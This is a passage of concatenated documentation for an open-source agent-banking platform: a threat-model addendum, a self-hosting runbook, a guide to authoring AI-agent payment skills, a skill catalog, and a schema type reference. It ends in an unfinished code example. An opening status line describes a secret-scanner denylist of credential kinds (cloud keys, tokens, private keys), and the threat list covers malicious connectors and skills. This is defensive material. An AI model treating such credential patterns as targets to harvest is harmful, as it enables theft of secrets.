**Status (M0 — library only):** scanner library ships at M0 with denylist (JWT, PEM, AWS access/secret, Stripe, GitHub, Slack, GCP, Anthropic, OpenAI, OAuth code, EVM/Solana priv key, bearer) + Shannon-entropy fallback. Hash-shaped kinds (EVM/Solana priv, AWS secret, bearer) require a contextual prefix to avoid redacting tx hashes and other 64-hex / 88-base58 IDs. Scanner has no callers yet — Trust Console event ingestion wires it in at M4; `connector_settings` storage pattern lands at M4; CI workflow pre-PR gate ships at M5.
## Out-of-scope for v1
* Side-channel attacks on TEE / Privy programmable signing (vendor-managed).
* Quantum-resistance posture (no current standard for ed25519/secp256k1 replacement).
* Supply-chain attacks via npm registry compromise (mitigated partially by Snyk + Socket; full mitigation requires verifiable builds).
* Compromise of the Glide GitHub organization itself (mitigated by 2FA-enforced + signed-commits-required policy).
## Revision history
* **2026-04-26** — v1 baseline shipped in M0 (`feat/oss-m0-foundations`).
* **2026-04-25** — v2 addendum below extends v1 with M2.5/M5/M5.5 surfaces.
* v3 lands when Trust Console v1 (M4) ships in OSS.
***
# v2 addendum (M2.5 + M5 + M5.5)
The v1 surfaces (1–9) above remain accurate. v2 adds the **public standards site** as surface #10 and promotes the money-safety F-rules to first-class architectural commitments.
## Money-safety F-rules
These ARE the threat-model mitigations for the MCP gateway + grant issuance + tool-call policy + audit-log surfaces. Self-hosters who remove any of them assume liability for the resulting deployment.
| Rule | What it guarantees | Where |
| -------------------------------------------------- | -------------------------------------------------------------------------------------------------- | ----------------------------------------- |
| **F1 — Server-side RPC verify** | `x402.pay` persists `on_chain_tx` from `serverFetchChainTx` (RPC), NEVER from facilitator receipt. | `apps/mcp/src/tools/x402-pay.ts` |
| **F2 — CAS-claim before broadcast** | `agent_pending_payments` rows claimed via SQL `UPDATE ... RETURNING`; race losers skip. | Migration 0041 + saga-reaper 0044 |
| **F3 — Fresh-read tenant verification** | `@glideco/grant-wrapper` re-reads tenant from DB on every tool invocation. | `@glideco/grant-wrapper` |
| **F4 — Append-only `activity_log` trigger** | UPDATE/DELETE/TRUNCATE rejected unless `app.dsar_context_id` session var set. | Migration 0042 trigger |
| **F5 — Atomic policy\_version on signer rotation** | `vault.rotateSigner` advances `policy_version` in same tx as on-chain rotation. | `apps/web/src/server/lib/agent-multisig/` |
| **F7 — Sigil first-use-only** | URL-mode elicitation sigils CAS-claimed on first use; race losers reject. | `apps/mcp/src/step-up/` |
(F6 reserved.)
## New threats (T7–T15)
The v1 doc covered T1–T6. v2 adds:
* **T7 — Malicious connector PR (partner submission).** Mitigated by 8-gate CI matrix (DCO + manifest validation + contract-test runner + license-compat scan + supply-chain scans + egress-host lint + counsel review). See `CONTRIBUTING.md`. Egress-host + supply-chain scans land in M5.5+.
* **T8 — Sanctioned address slips through screening.** Mitigated by fail-closed `apps/web/src/server/lib/sanctions-screen.ts`: 24h cache with chain-scoped key, `SERVICE_UNAVAILABLE` on Chainalysis API error, `permissive` provider REFUSED in production unless explicit override.
* **T9 — Confused-deputy attack on MCP endpoints.** Mitigated by the cross-endpoint guard in `apps/mcp/src/server.ts` — read tokens cannot probe write/treasury before auth.
* **T10 — Malicious agent skill (consent under-disclosure).** Mitigated by `SkillContractTestSuite` consent under-disclosure guard + manual prompt-injection review checklist (verified-tier promotion).
* **T11 — DSAR redaction loophole.** Mitigated by admin-role check + `app.dsar_context_id` session var + `redacted_fields_bitmap` enforcement + `DSARContextEvent` audit row.
* **T12 — Mock-mode connector in production.** Mitigated by `createGlobalAdapters()` boot-time refusal under `NODE_ENV=production` + mock mode unless `GLIDE_ALLOW_MOCKS_IN_PROD=true` (M0 + M2).
* **T13 — License-incompatible connector PR.** Mitigated by license-compat scan (CI gate lands at M5.5+; matrix documented in `docs/LICENSE_COMPATIBILITY.md`).
* **T14 — Public standards URL squatting / impersonation.** Mitigated by Cloudflare Pages HTTPS + HSTS preload + `/draft/` channel pinning until 3+ independent implementers verified.
* **T15 — `demo.glide.dev` abuse vector.** Mitigated by mock-only credentials, ephemeral DB-per-session, per-IP + per-session rate limits, CORS-locked to demo origin, auto-shutdown on anomaly trip, banner disclaimer. Hosting deploy pending (M5.5 operational).
For per-surface coverage, see `apps/mcp/COMPLIANCE.md` (regulated-money-movement gateway) and `docs/agents/SELF_HOSTING.md` (operator runbook).
# Self-hosting Glide
Source: https://glide-9da73dea.mintlify.app/oss/self-hosting
Operator runbook for running Glide outside Glide Cloud — env posture, deploy targets, operational keys, migrations, backups, observability, compliance disclaimers.
This guide is the source of truth for operating Glide outside of Glide Cloud. Read it before pointing real money at the stack.
## Honest positioning
Glide OSS is a **self-hostable orchestration shell**, not a self-hostable bank stack. You bring your own:
* **Privy Multi-tenant tenant** — auth + embedded wallets. OSS is Privy-only in v1; there is no swap-in alternative.
* **Bridge / Noah / Avenia / IDRX / etc. contracts** — fiat rails. The OSS Cathedral ships every connector adapter (`packages/connectors//`), but the vendor relationship is yours.
* **Chainalysis / TRM / Elliptic** — sanctions screening. The Chainalysis adapter ships under MIT; using it requires your own contract per the `DISCLAIMER.md` in the package.
* **Coinbase x402 facilitator** (optional) — required for the x402 payer/recipient flow that lands with M2.5.
* **Ory Hydra or BYO OAuth AS** (optional) — required for the M2.5 agent banking surface.
If a vendor you need isn't listed: see `packages/connectors/_base/` for the capability interface contracts. The OSS plan accepts community-contributed connectors per the M5 partner-PR flow.
## 90-second TTHW (time to hello, world)
The champion-tier metric the M3 plan calls for. From a fresh machine with Docker + Node 22 + pnpm installed:
```bash theme={null}
git clone https://github.com/darshanbathija/axtior-neobank.git
cd axtior-neobank
pnpm install
docker compose up -d # Postgres 16, Redis 7, Inngest dev
bash scripts/generate-keys.sh > .env.keys # dev-only secrets
cat .env.keys >> apps/web/.env.local # then add Privy creds (see below)
bash scripts/run-agent-platform-migrations.sh # apply schema
GLIDE_USE_MOCK_CONNECTORS=true pnpm --filter web dev
# → open http://localhost:3000/health → {"status":"ok"}
```
Privy is the only required vendor for demo bring-up. Sign up at [privy.io](https://privy.io), create a Multi-tenant tenant, copy the App ID + App Secret into `.env.local`:
```env theme={null}
NEXT_PUBLIC_PRIVY_APP_ID=clxxxxxxxxxxxxxx
PRIVY_APP_SECRET=xxxxxxxxxxxxxxxxxxxx
```
For the alternative `npx`-flavored bring-up (M3 OSS scaffolder):
```bash theme={null}
npx create-glide-app my-bank
cd my-bank
docker compose up -d
# follow my-bank/README.md for the rest
```
## Environment posture
### Demo posture (zero real-money corridor)
```env theme={null}
NODE_ENV=development
GLIDE_USE_MOCK_CONNECTORS=true # forces sandbox variants of every connector
SCREENING_PROVIDER=chainalysis-mock # deterministic OFAC fixtures
BALANCE_PROVIDER=rpc-direct # zero-vendor balance reads (you supply RPCs)
SECRETS_BACKEND=env-file # default — reads from process.env
# RPCs (only when BALANCE_PROVIDER=rpc-direct)
ETHEREUM_RPC_URL=https://eth.llamarpc.com
BASE_RPC_URL=https://mainnet.base.org
SOLANA_RPC_URL=https://api.mainnet-beta.solana.com
```
### Production posture (real-money corridor)
```env theme={null}
NODE_ENV=production
SECRETS_BACKEND=doppler # or aws-sm / vault when those land
DOPPLER_TOKEN=...
DOPPLER_PROJECT=glide-prod
DOPPLER_CONFIG=production
# Vendor credentials — none can be missing without the boot-time fail-closed
# audit firing. See apps/web/src/server/adapters/index.ts for the contract.
NEXT_PUBLIC_PRIVY_APP_ID=...
PRIVY_APP_SECRET=...
CHAINALYSIS_API_KEY=...
ALCHEMY_API_KEY=...
BRIDGE_API_KEY=...
NOAH_API_KEY=...
# … etc per the connector you've activated for each vendor_tag
```
Run `pnpm glide doctor` after wiring env to confirm every layer is reachable.
## Operational keys
Glide Cloud AND self-hosters hold three EVM operational keys + one Solana recovery key. Per the M0 plan §"Operational keys detail":
| Key | What it can do | What it cannot do | Blast radius |
| --------------------------------------- | -------------------------------------------------------- | ---------------------------------------------------- | ------------------- |
| `TREASURY_OPERATOR_EVM_PRIVATE_KEY` | Signs the operator's own revenue-share Safe | Touch user vaults, originate user-tx | Operator's own Safe |
| `USER_MULTISIG_RELAYER_EVM_PRIVATE_KEY` | Broadcasts pre-signed M-of-N bundles | Originate calldata, modify tx, sign for users | Gas relay only |
| `GLIDE_RECOVERY_EVM_PRIVATE_KEY` | Propose owner-set / threshold changes on user 1/1 vaults | Execute without 72h Zodiac Delay timelock + non-veto | Recovery proposals |
| `GLIDE_RECOVERY_SOLANA_PRIVATE_KEY` | Propose Squads multisig recovery | Execute without timelock + non-veto | Recovery proposals |
**For development:** `bash scripts/generate-keys.sh` emits random hex/base58 placeholders. Pipe to `.env.local`.
**For production:** generate keys in a KMS (AWS KMS / HashiCorp Vault / GCP KMS). Never commit them, never let them touch shell history. Rotate per a documented cadence — start at quarterly for treasury / annual for recovery (the recovery cadence is balanced against the user-veto window).
## Deploy targets
The OSS Cathedral targets four reference deploy patterns. Each has its own pros/cons; pick the one that matches your operational comfort level.
### 1. Fly.io (recommended for solo self-hosters)
* **Web:** `apps/web` deploys via `fly launch` with the auto-detected Next.js builder.
* **Worker:** `apps/web` Inngest functions run inside the same Fly app.
* **MCP** (M2.5+): `apps/mcp` deploys as a separate Fly app.
* **Postgres:** Fly Postgres or Supabase.
* **Redis:** Upstash Redis (ships free tier; paid for prod).
```bash theme={null}
fly launch --copy-config --name my-glide-web
fly secrets set NEXT_PUBLIC_PRIVY_APP_ID=...
fly deploy
```
### 2. Railway
Single-region, push-to-deploy. Good for staging / non-US corridors.
### 3. Render
Long-history Heroku-replacement; good if you already have Render.
### 4. Bare Docker on a VPS
For operators who want infra control. The base `docker-compose.yml` boots Postgres + Redis + Inngest; `docker-compose.demo.yml` overlay layers in the demo posture.
```bash theme={null}
docker compose -f docker-compose.yml -f docker-compose.demo.yml up
```
A Kubernetes Helm chart is a stretch goal; not in M3.
## Migrations
Per `CLAUDE.md` §"Database migrations":
> **Migration files are the source of truth**, not `drizzle-kit generate`. All migrations under `apps/web/drizzle/*.sql` are hand-authored.
>
> **`apps/web/drizzle/meta/_journal.json` is NOT authoritative.** It tracks only the original 0000/0001 scaffold; every migration from 0002 onward applies via the custom runner.
For self-hosted upgrades, run the existing script:
```bash theme={null}
DATABASE_URL=postgres://... bash scripts/run-agent-platform-migrations.sh
```
The runner is forward-only. For rollback, restore from a backup. For staging environments, the standard pattern is: apply migrations → run smoke tests → cut over with DNS.
## Backups
The OSS Cathedral does NOT ship a backup orchestrator. The base posture:
* **Postgres:** rely on the deploy target's managed backup (Fly Postgres snapshots, RDS automated backups, etc.) at a minimum daily cadence with point-in-time recovery.
* **Redis:** ephemeral. Inngest job state is durable in Postgres; Redis is rate-limit + cache only.
* **Secrets:** the secrets backend (Doppler / AWS-SM / Vault) is the source of truth. The DB stores `secretRef`s, never plaintext.
For real-money corridors, layer on:
* **Off-site replica** in a different region.
* **Cold backup** (encrypted S3 Glacier / equivalent) at quarterly cadence at minimum.
* **Disaster-recovery rehearsal** at annual cadence.
## Observability
OSS ships:
* `/health` — liveness probe (200 OK with `{"status":"ok"}`).
* `/api/health` — readiness probe (Postgres + Redis + push reachability).
* Sentry hook in the fail-closed audit (M2). Set `SENTRY_DSN` to wire `@sentry/nextjs`.
Glide Cloud uses BetterStack; OSS users can pick anything that consumes a Sentry-compatible DSN. Glitchtip is a drop-in Sentry replacement.
A `/metrics` Prometheus endpoint + reference Grafana dashboards land in a follow-up milestone (per OSS plan §10).
## Compliance disclaimers
* **Sanctions screening:** `SCREENING_PROVIDER=permissive` is REFUSED under `NODE_ENV=production` unless `GLIDE_ALLOW_PERMISSIVE_SANCTIONS_IN_PROD=true` is explicitly set. Don't override unless you have a documented compensating control.
* **Mock connectors in production:** `GLIDE_USE_MOCK_CONNECTORS=true` is REFUSED under `NODE_ENV=production` unless `GLIDE_ALLOW_MOCKS_IN_PROD=true` is explicitly set. Reserved for staging / smoke tests against production-shaped infra.
* **AML posture:** every connector's manifest declares an `amlPosture` field. `pass-through` means the vendor handles AML; `vendor-screened` means the vendor + an upstream screening capability handle it; `unscreened` (only `sanctions-permissive`) means there is no AML coverage.
## Where to file issues
* Bugs / docs holes: GitHub issues on `axtior-neobank`.
* Security vulnerabilities: `security@axtior.com` per `SECURITY.md`.
* Connector partner submissions: see `CONTRIBUTING.md` (lands with M5).
## What's NOT in this doc
* Trust Console operator runbook (M4).
* Agent-platform / MCP setup (M2.5).
* Public standards URLs at `glide.co/schemas/agent-banking/draft/`.
* `glide partner submit` CLI flow (M5.5).
# Authoring an agent skill
Source: https://glide-9da73dea.mintlify.app/oss/skills/authoring
Partner-PR flow for adding a new agent skill at packages/skills//. SkillManifest schema, 4-tier policy presets, consent-disclosure guard.
Adding a new agent skill is the second flywheel beyond connectors. Skills sit on the agent platform's money-touching surface, so we ask for pre-PR alignment before you write code.
## Five-step flow
Use the [`new-skill` issue template](https://github.com/darshanbathija/axtior-neobank/issues/new?template=new-skill.yml). Include slug, runtimes, scopes, policy template, consent summary, and rationale.
The `SkillManifest` Zod schema is the source of truth for what a skill manifest must contain — slug, runtime compat, required scopes, policy template, consent summary, trust tier, publisher.
Closed vocabularies (`SkillTrustTier`, `SkillRuntime`, `SkillCategory`, `SkillScope`) are CODEOWNERS-protected. Adding a new entry requires `@glideco/policy-engine` to understand the same vocabulary.
```
packages/skills//
├── package.json
├── tsconfig.json
├── icon.svg
├── README.md
├── src/
│ ├── manifest.ts // SkillManifest object
│ ├── policy.ts // policy-template + per-tier presets
│ ├── index.ts // re-exports
│ └── __tests__/
│ └── contract.test.ts
```
Or use the CLI:
```bash theme={null}
glide partner submit ./my-skill --type=skill
```
The 4-tier policy preset pattern (every skill ships these):
```ts theme={null}
export const POLICY_PRESETS = {
supervise: { perTxMaxUsdCents: 10_000, dailyCapUsdCents: 100_000, ... },
rideAlong: { perTxMaxUsdCents: 25_000, dailyCapUsdCents: 250_000, ... },
trust: { perTxMaxUsdCents: 50_000, dailyCapUsdCents: 500_000, ... }, // package default
veteran: { perTxMaxUsdCents: 100_000, dailyCapUsdCents: 1_000_000, ... },
} as const satisfies Record;
```
Per-tier exposure must increase monotonically (`supervise < rideAlong < trust < veteran`). The contract test enforces this.
Extend `SkillContractTestSuite` from `@glideco/skills-base`:
```ts theme={null}
import { SkillContractTestSuite } from '@glideco/skills-base';
import { manifest } from '../manifest';
class MySkillSuite extends SkillContractTestSuite {
readonly manifest = manifest;
}
```
The suite asserts:
* Manifest validity vs `SkillManifest` v1.
* Policy template internal consistency (`perTxMax ≤ dailyCap`; non-zero `velocityCap.maxCount`).
* Scope sanity (no duplicates).
* **Consent under-disclosure guard.** If `requiredScopes` includes a money-touching scope (`payments:initiate`, `cards:manage`, `x402:pay`), `consentSummary` MUST mention payments / money / cards / `$` / `usd`.
Per the OSS plan §M5 prompt-injection review: a community-tier skill template that **under-discloses caps** OR **overrides displayed envelope behavior** is a security finding, not a feature.
The contract test catches the obvious cases. Reviewers catch subtler ones during the verified-tier promotion review.
Example consent summary that passes the under-disclosure guard:
> "Claude reads your QuickBooks Online invoices and drafts USD payments to your existing vendors, capped at $2,500 per transaction and $10,000 per day. Each payment requires your explicit approval before broadcast."
Compare to one that wouldn't pass:
> "A friendly skill that helps you stay organized." *(no money words; under-discloses)*
## Reading list
* [Agent skills catalog](/oss/skills/index) — every skill currently in the repo.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F-rules every skill inherits.
* [Threat model](/oss/security/threat-model) — T10 (malicious skill consent under-disclosure).
# Agent skills
Source: https://glide-9da73dea.mintlify.app/oss/skills/index
Auto-generated catalog of all 6 hero agent skills. Each skill ships with a manifest, 4-tier policy presets (supervise / ride-along / trust / veteran), and contract test.
Auto-generated by `scripts/generate-catalog-docs.mjs` from each `packages/skills//src/manifest.ts`. Don't edit by hand — re-run the script.
Total: **6** skills.
| Slug | Category | Runtimes | Trust | Status |
| --------------------------------------------------------------------------------------- | -------- | ---------------------------------------------- | ------ | ---------------------------------------------------- |
| [`ap-agent-chatgpt-xero`](../packages/skills/ap-agent-chatgpt-xero/README.md) | ap | chatgpt-apps | `core` | 🚧 V3 Bucket 3.3 (Xero integration) + 3.4 (bill pay) |
| [`ap-agent-claude-quickbooks`](../packages/skills/ap-agent-claude-quickbooks/README.md) | ap | claude-desktop | `core` | 🚧 V3 Bucket 3.3 (QBO integration) + 3.4 (bill pay) |
| [`market-research-cap`](../packages/skills/market-research-cap/README.md) | x402 | claude-desktop, chatgpt-apps, openclaw, hermes | `core` | ✅ unblocked |
| [`payroll-co-signer`](../packages/skills/payroll-co-signer/README.md) | payroll | claude-desktop, chatgpt-apps, vertex | `core` | 🚧 V2 Sprint 3-4 (payroll platform) |
| [`treasury-yield-agent`](../packages/skills/treasury-yield-agent/README.md) | treasury | claude-desktop, chatgpt-apps, vertex | `core` | 🚧 V3 Bucket 1.8 / 4.4 (live DeFi yield) |
| [`trip-budget-chatgpt`](../packages/skills/trip-budget-chatgpt/README.md) | consumer | chatgpt-apps | `core` | ✅ unblocked |
## Per-skill detail
### ap-agent-chatgpt-xero
> Same AP flow, ChatGPT's runtime, Xero's ledger.
* **Display name:** AP Agent (ChatGPT + Xero)
* **Category:** `ap`
* **Runtimes:** `chatgpt-apps`
* **Required scopes:** `accounts:read`, `payments:initiate`, `payments:simulate`, `beneficiary:write`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Blocking dependency:** V3 Bucket 3.3 (Xero integration) + 3.4 (bill pay)
* **Policy default:** per-tx max **$2,500**; daily cap **$10,000**; velocity 20 tx / 60min
* **Source:** [`packages/skills/ap-agent-chatgpt-xero/`](../packages/skills/ap-agent-chatgpt-xero/)
**Consent summary:** ChatGPT reads your Xero invoices and drafts USD payments to your existing vendors, capped at $2,500 per transaction and $10,000 per day. Each payment requires your explicit approval before broadcast.
### ap-agent-claude-quickbooks
> Let Claude draft vendor payments from QBO invoices.
* **Display name:** AP Agent (Claude + QuickBooks)
* **Category:** `ap`
* **Runtimes:** `claude-desktop`
* **Required scopes:** `accounts:read`, `payments:initiate`, `payments:simulate`, `beneficiary:write`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Blocking dependency:** V3 Bucket 3.3 (QBO integration) + 3.4 (bill pay)
* **Policy default:** per-tx max **$2,500**; daily cap **$10,000**; velocity 20 tx / 60min
* **Source:** [`packages/skills/ap-agent-claude-quickbooks/`](../packages/skills/ap-agent-claude-quickbooks/)
**Consent summary:** Claude reads your QuickBooks Online invoices and drafts USD payments to your existing vendors, capped at $2,500 per transaction and $10,000 per day. Each payment requires your explicit approval before broadcast.
### market-research-cap
> Pay web-API fees via x402 with a daily cap.
* **Display name:** Market Research (x402 cap)
* **Category:** `x402`
* **Runtimes:** `claude-desktop`, `chatgpt-apps`, `openclaw`, `hermes`
* **Required scopes:** `x402:pay`, `x402:receive`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Policy default:** per-tx max **$0.5**; daily cap **$50**; velocity 200 tx / 60min
* **Source:** [`packages/skills/market-research-cap/`](../packages/skills/market-research-cap/)
**Consent summary:** Agents can pay paywalled web APIs via x402 micropayments. Each call is capped at 50¢ and the daily total at \$50. Charges go through your linked Glide account.
### payroll-co-signer
> Review and co-sign a monthly payroll batch.
* **Display name:** Payroll Co-signer
* **Category:** `payroll`
* **Runtimes:** `claude-desktop`, `chatgpt-apps`, `vertex`
* **Required scopes:** `accounts:read`, `payments:initiate`, `payments:simulate`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Blocking dependency:** V2 Sprint 3-4 (payroll platform)
* **Policy default:** per-tx max **$15,000**; daily cap **$300,000**; velocity 500 tx / 60min
* **Source:** [`packages/skills/payroll-co-signer/`](../packages/skills/payroll-co-signer/)
**Consent summary:** The agent renders your monthly payroll batch with anomaly signals, then broadcasts USD payments to your employees on your approval. Per-paycheck cap $15,000; full-batch daily cap $300,000.
### treasury-yield-agent
> Rebalance stablecoin yield across Aave/Morpho/Kamino.
* **Display name:** Treasury Yield Agent
* **Category:** `treasury`
* **Runtimes:** `claude-desktop`, `chatgpt-apps`, `vertex`
* **Required scopes:** `accounts:read`, `treasury:yield-allocate`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Blocking dependency:** V3 Bucket 1.8 / 4.4 (live DeFi yield)
* **Policy default:** per-tx max **$50,000**; daily cap **$250,000**; velocity 5 tx / 60min
* **Source:** [`packages/skills/treasury-yield-agent/`](../packages/skills/treasury-yield-agent/)
**Consent summary:** The agent moves USDC between Aave/Morpho/Kamino vaults to chase yield. Each rebalance is capped at \$50,000 and only target vaults you have pre-approved. No payments to external addresses.
### trip-budget-chatgpt
> Issue a scoped virtual card for a weekend. Auto-revoke Sunday 6pm.
* **Display name:** Trip Budget (ChatGPT)
* **Category:** `consumer`
* **Runtimes:** `chatgpt-apps`
* **Required scopes:** `accounts:read`, `cards:manage`, `payments:simulate`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Policy default:** per-tx max **$1,000**; daily cap **$3,000**; velocity 30 tx / 60min
* **Source:** [`packages/skills/trip-budget-chatgpt/`](../packages/skills/trip-budget-chatgpt/)
**Consent summary:** ChatGPT issues a virtual card scoped to your trip with merchant-category filters and an auto-revoke deadline. Card charges are capped at $1,000 per transaction and $3,000 per day.
# Shared type primitives (_types)
Source: https://glide-9da73dea.mintlify.app/oss/standards/_types
The $defs catalog referenced via $ref by every other agent-banking schema. Timestamps, IDs, money amounts, addresses, and closed-enum vocabularies.
`_types.json` is the shared type dictionary for the entire `glide.co/schemas/agent-banking/v1/` vocabulary. No application data lives here — it is purely a `$defs` block. Every other schema in the set imports from it via `$ref: "_types.json#/$defs/"`. This keeps the wire format self-consistent: when `uuidV4` gains a clarifying description, every schema that references it inherits the update in one place.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/_types.json`](https://glide.co/schemas/agent-banking/v1/_types.json)
## Type catalog
### Scalar types
| `$defs` key | Underlying type | Constraint summary | Reused across |
| --------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| `uuidV4` | `string` | RFC 4122 UUID (v1–v8 accepted; also accepts all-zero and all-F sentinels used by seed scripts). Lowercase recommended; the pattern accepts mixed-case. | `ScopedGrantClaims`, `AgentActivityEvent`, `Receipt`, `AgentPolicyEnvelope` |
| `isoDateTimeUtc` | `string` | ISO 8601 / RFC 3339 instant in UTC. **`Z` suffix is REQUIRED.** Offsets like `+00:00` are rejected to keep the wire format unambiguous across tRPC, MCP, JWT, and Privy serialization boundaries. | `AgentActivityEvent.timestamp`, `AgentPolicyEnvelope.time_window_*`, `Receipt.timestamp` |
| `unixSecondsPositive` | `integer` | Unix epoch seconds (UTC), strictly positive. Used for JWT `iat`/`nbf`/`exp` per RFC 7519 §2 `NumericDate`. | `ScopedGrantClaims.iat`, `nbf`, `exp` |
| `amountCents` | `integer` | Money amount in minor units (USD cents). Non-negative; max is `Number.MAX_SAFE_INTEGER`. USDC has 6 decimals — Glide normalizes to 1e-2 USD = 1 cent in policy evaluation (see `lib/usdc-units.ts`). **Never use a float for money.** | `AgentPolicyEnvelope` caps, `Receipt.amount_cents` |
| `nonNegativeInt` | `integer` | Non-negative integer, max `Number.MAX_SAFE_INTEGER`. | `ScopedGrantClaims.policy_version`, `AgentPolicyEnvelope.policy_version` |
| `positiveInt` | `integer` | Strictly positive integer, max `Number.MAX_SAFE_INTEGER`. | Velocity caps in `AgentPolicyEnvelope` |
### String-format types
| `$defs` key | Format | Notes | Reused across |
| --------------- | ------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| `currencyCode` | `string` (3–8 chars, `[A-Za-z][A-Za-z0-9]{2,7}`) | ISO 4217 alpha-3 fiat (`USD`, `EUR`) or stablecoin symbol (`USDC`, `PYUSD`). Case-insensitive on input; normalized to uppercase server-side. | `Receipt.currency`, `ConnectorManifest.currencies` |
| `iso3166Alpha2` | `string` (`[A-Z]{2}`) | ISO 3166-1 alpha-2 country code, uppercase. | `AgentPolicyEnvelope.geo_allowlist`, `ConnectorManifest.regions` |
| `regionCode` | `string` (`[A-Z]{2,8}`) | ISO 3166-1 alpha-2 OR a broader region tag (`EU`, `LATAM`, `APAC`, `GLOBAL`). Used where connector/skill region granularity is broader than per-country. | `ConnectorManifest.compliance.dataResidency` |
| `ianaTimezone` | `string` (1–64 chars) | IANA tz database name (e.g. `America/New_York`, `UTC`). Loose pattern — the policy engine resolves via `Intl.DateTimeFormat` at evaluation time and fails closed on unknown zones. | `AgentPolicyEnvelope` (time-window helpers) |
| `mccCode` | `string` (`[0-9]{4}`) | ISO 18245 Merchant Category Code: exactly 4 ASCII digits. `ABCD` is rejected (letters, not digits). | `AgentPolicyEnvelope.mcc_allowlist`, `mcc_blocklist` |
| `hostname` | `string` (1–253 chars, RFC 1123) | DNS hostname — lowercase, no trailing dot, no scheme, no path. Used for egress-host allowlists; URLs are not valid here. | `ConnectorManifest.egressHosts` |
| `httpsUrl` | `string` (URI, `^https://`) | Absolute `https://` URL. The `http:` scheme is rejected to prevent silent downgrade attacks on manifest links. Max 2048 chars. | `ConnectorManifest.homepage`, `changelogUrl` |
| `kebabSlug` | `string` (`[a-z0-9][a-z0-9-]*`, 1–64 chars) | Lowercase kebab-case identifier. Shows up in URLs and package directory names. | `ConnectorManifest.slug`, `SkillManifest.skillId` |
| `semver` | `string` (5–64 chars, SemVer 2.0.0) | Semantic Versioning 2.0.0 string. Build metadata and prerelease labels allowed. | `ConnectorManifest.packageVersion` |
### Address types
| `$defs` key | Format | Notes | Reused across |
| --------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
| `evmAddress` | `string` (`^0x[0-9a-fA-F]{40}$`) | 0x-prefixed 20-byte Ethereum-style address. Mixed-case allowed; EIP-55 checksum is verified server-side, not in the schema. | `Receipt.counterparty_address`, `AgentPolicyEnvelope.counterparty_allowlist` |
| `solanaAddress` | `string` (`[1-9A-HJ-NP-Za-km-z]{32,44}`) | Solana base58 public key. Base58 alphabet excludes `0`, `O`, `I`, `l`. | `Receipt.counterparty_address`, `AgentPolicyEnvelope.counterparty_allowlist` |
| `chainAddress` | `evmAddress \| solanaAddress` | Union of the two address types. The accompanying `chain` field disambiguates which form applies. | Counterparty fields across schemas |
| `txHash` | `string` (1–128 chars) | On-chain transaction identifier. EVM: 0x-prefixed 32-byte hex (66 chars). Solana: base58 signature (typically 87–88 chars). Server fetches and re-derives this from chain RPC — never trust a value passed in via a facilitator response body. | `Receipt.on_chain_tx` |
### Closed-enum vocabularies
| `$defs` key | Values | Notes |
| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `chainId` | `eth`, `base`, `arb`, `op`, `polygon`, `sol`, `tempo`, `stellar` | Supported EVM L1/L2, Solana, Machine Payments Protocol L1 (tempo), and Stellar (Soroban). `bsc` is deliberately excluded: USDC on BSC has 18 decimals vs 6 everywhere else, which would silently 10^12-underflow amount-in-cents math in policy evaluation. Re-enabling requires `lib/usdc-units.ts` to branch on chain first. |
| `agentScope` | `accounts:read`, `agents:read`, `payments:initiate`, `payments:simulate`, `cards:manage`, `agent:budget:create`, `agent:budget:revoke`, `beneficiary:read`, `beneficiary:write`, `kyc:start`, `x402:pay`, `x402:receive`, `audit:stream`, `treasury:rotate-signer`, `treasury:yield-allocate` | Closed vocabulary for grant scopes. Adding a value is a CODEOWNERS-protected change — the policy-engine evaluator must understand the same vocabulary. Wildcard scopes (`treasury:*`) deferred to v1.5. |
| `agentActivityEventKind` | `tool_call`, `reasoning_step`, `risk_verdict`, `anomaly_detected`, `consent_prompt`, `consent_granted`, `consent_denied`, `step_up_required`, `step_up_completed`, `policy_violation`, `grant_issued`, `grant_revoked`, `kill_switch_triggered` | Closed vocabulary for Trust Console event taxonomy. Producers MUST emit one of these; unknown values drop the event at ingest. |
| `trustTier` | `community`, `verified`, `core` | Quality-based trust tier. `community` is off by default (requires explicit env-var unlock); `verified` ships enabled with per-tenant opt-in; `core` is Glide-maintained reference code. |
| `riskVerdict` | `allow`, `allow_with_step_up`, `deny` | Policy-engine verdict. `allow_with_step_up` means step-up auth is required and has not yet been completed. |
| `amlPosture` | `vendor-screened`, `pass-through`, `unscreened` | Vendor AML/sanctions posture. `unscreened` is only valid for community-tier mock connectors. |
| `connectorCapability` | `orchestration`, `kyc`, `card`, `screening`, `chain-receipt`, `balance`, `auth`, `banking`, `qr-gateway`, `oauth-authorization-server`, `attestation`, `merkle-anchor`, `timelock-module`, `recovery` | Connector capability vocabulary. A capability NOT in this enum is rejected at registry boot — adding one requires a schema migration. |
| `skillRuntime` | `claude-desktop`, `chatgpt-apps`, `vertex`, `openclaw`, `hermes` | Agent runtimes a skill targets. |
| `skillCategory` | `ap`, `treasury`, `consumer`, `payroll`, `x402` | Skill categories surfaced in the catalog. |
| `skillScope` | Strict subset of `agentScope` — excludes `agent:budget:create`, `agent:budget:revoke`, `treasury:rotate-signer` | Administrative scopes may only be granted via in-app admin actions, not via a skill manifest request. |
## Note on `chainId` and the Zod source
As of v1.0.x, the Zod source and the published JSON Schema are in sync for both `chainId` (8 values: `eth`, `base`, `arb`, `op`, `polygon`, `sol`, `tempo`, `stellar`) and `agentScope` (15 values). Any future axis additions begin in Zod and propagate to the JSON Schema in the next minor release per the versioning contract (new enum values are forward-compatible additions).
## Example
```ts theme={null}
import { z } from 'zod';
// Types are re-exported from @glideco/schemas:
import {
uuidSchema,
isoDateTimeSchema,
